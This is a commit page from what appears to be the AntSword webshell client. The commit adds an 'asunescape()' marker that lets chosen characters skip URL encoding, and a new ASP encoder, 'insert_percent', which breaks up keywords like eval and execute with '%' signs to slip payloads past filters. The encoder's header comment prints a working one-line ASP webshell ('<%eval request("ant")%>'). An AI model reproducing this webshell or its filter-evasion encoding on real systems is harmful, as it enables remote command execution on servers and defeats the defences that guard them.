Commit 2d691693 authored by Medicean's avatar Medicean

(Enhance: Encoder) 编码器中支持 asunescape() 标记

asunescape 括号中的内容在HTTP请求时,不会进行urlEncode
eg:

data["key1"] = "++asunescape(@@@)++";  => "key1=%3B%3B@@@%3B%3B"
parent f11085a3
......@@ -115,7 +115,11 @@ class Request {
let _postarr = [];
for(var key in _postData){
if(_postData.hasOwnProperty(key)){
_postarr.push(`${key}=${encodeURIComponent(_postData[key])}`);
let _tmp = encodeURIComponent(_postData[key])
.replace(/asunescape\((.+?)\)/g, function($, $1){
return unescape($1);
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
let antstream = new AntRead(_postarr.join("&"), {'step': parseInt(opts['chunkStepMin']), 'stepmax': parseInt(opts['chunkStepMax'])});
......@@ -157,10 +161,22 @@ class Request {
}else{
// 通过替换函数方式来实现发包方式切换, 后续可改成别的
const old_send = _request.send;
let _postarr = [];
if(opts['useMultipart'] == 1) {
_request.send = _request.field;
_postarr = _postData;
}else{
_request.send = old_send;
for(var key in _postData) {
if(_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key])
.replace(/asunescape\((.+?)\)/g, function($, $1){
return unescape($1)
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
_postarr = _postarr.join('&');
}
_request
.proxy(APROXY_CONF['uri'])
......@@ -169,7 +185,7 @@ class Request {
.timeout(opts.timeout || REQ_TIMEOUT)
// 忽略HTTPS
.ignoreHTTPS(opts['ignoreHTTPS'])
.send(_postData)
.send(_postarr)
.parse((res, callback) => {
this.parse(opts['tag_s'], opts['tag_e'], (chunk) => {
event.sender.send('request-chunk-' + opts['hash'], chunk);
......@@ -273,10 +289,21 @@ class Request {
}else{
// 通过替换函数方式来实现发包方式切换, 后续可改成别的
const old_send = _request.send;
let _postarr = [];
if(opts['useMultipart'] == 1) {
_request.send = _request.field;
}else{
_request.send = old_send;
for(var key in _postData) {
if(_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key])
.replace(/asunescape\((.+?)\)/g, function($, $1){
return unescape($1)
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
_postarr = _postarr.join('&');
}
_request
.proxy(APROXY_CONF['uri'])
......@@ -285,7 +312,7 @@ class Request {
// .timeout(timeout)
// 忽略HTTPS
.ignoreHTTPS(opts['ignoreHTTPS'])
.send(_postData)
.send(_postarr)
.pipe(through(
(chunk) => {
// 判断数据流中是否包含后截断符?长度++
......
/**
* asp::insert_percent 编码器
* 关键词中插入%号
* Create at: 2019/04/19 15:49:43
* <%eval request("ant")%>
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码
return $1.split('').join('asunescape(%)');
});
data[pwd] = Buffer.from(_tmp);
delete data['_'];
return data;
}
\ No newline at end of file
......@@ -34,7 +34,7 @@ class ASP extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return ['xxxxdog'];
return ['insert_percent', 'xxxxdog'];
}
/**
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment